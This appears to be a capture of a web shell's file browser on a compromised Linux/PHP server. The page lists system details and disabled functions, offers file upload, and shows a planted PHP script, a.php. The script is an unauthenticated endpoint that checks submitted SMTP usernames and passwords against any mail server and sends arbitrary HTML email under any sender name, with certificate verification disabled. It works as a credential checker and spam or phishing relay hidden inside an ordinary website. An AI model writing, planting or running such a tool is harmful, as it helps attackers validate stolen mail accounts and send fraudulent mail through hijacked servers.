HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/include_/a.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
require 'src/Exception.php';
require 'src/PHPMailer.php';
require 'src/SMTP.php';
use PHPMailer\PHPMailer\Exception;
function smtp_send($host, $port, $user, $pass, $to, $subject, $fromName, $message){
    $mail = new PHPMailer;
    $mail->isSMTP();
    $mail->Timeout = 18;
    $mail->getSMTPInstance()->Timelimit = 15;
    $mail->SMTPDebug = 0;
    $mail->Host = $host;
    $mail->Port = $port;
    $mail->SMTPOptions = array(
       'ssl' => array(
                'verify_peer' => false,
                'verify_peer_name' => false,
                'allow_self_signed' => true
            )
        );
    $mail->SMTPAuth = true;
    $mail->Username = $user;
    $mail->Password = $pass;
    $mail->setFrom($user, $fromName);
    $mail->addAddress($to);
    $mail->Subject = $subject;
    $mail->msgHTML($message);
    if($mail->send()){
		$mail->smtpClose();
        return [true,''];
    }else{
		$mail->smtpClose();
        return [false,$mail->ErrorInfo];
    }
}
function smtp_auth($host, $port, $user, $pass){
    $mail = new PHPMailer; 
    $mail->Timeout = 15;
    $mail->getSMTPInstance()->Timelimit = 10;
    $mail->SMTPDebug = 0;
    $mail->Host = $host;
    $mail->Port = $port;
    $mail->SMTPOptions = array(
       'ssl' => array(
                'verify_peer' => false,
                'verify_peer_name' => false,
                'allow_self_signed' => true
            )
        );
    $mail->SMTPAuth = true;
    $mail->Username = $user;
    $mail->Password = $pass;
    if($mail->smtpConnect()){
        $mail->smtpClose();
        return [true,''];
    }else{
		$mail->smtpClose();
        return [false,$mail->ErrorInfo];
    }
}
if(isset($_GET["auth_type"])){
	if($_GET["auth_type"]==1){
		if(isset($_POST["host"]) && isset($_POST["port"]) && isset($_POST["user"]) && isset($_POST["pass"])){
			$res = smtp_auth(urldecode($_POST["host"]), $_POST["port"], urldecode($_POST["user"]), urldecode($_POST["pass"]));
			echo json_encode($res);exit();
		}
	}else{
		if(isset($_POST["host"]) && isset($_POST["port"]) && isset($_POST["user"]) && isset($_POST["pass"]) && isset($_POST["to"]) && isset($_POST["subject"]) && isset($_POST["fromName"]) && isset($_POST["message"])){
			$res = smtp_send(urldecode($_POST["host"]), $_POST["port"], urldecode($_POST["user"]), urldecode($_POST["pass"]), urldecode($_POST["to"]), urldecode($_POST["subject"]), urldecode($_POST["fromName"]), urldecode($_POST["message"]));
			echo json_encode($res);exit();
		}
	}
}
echo 'none';
?>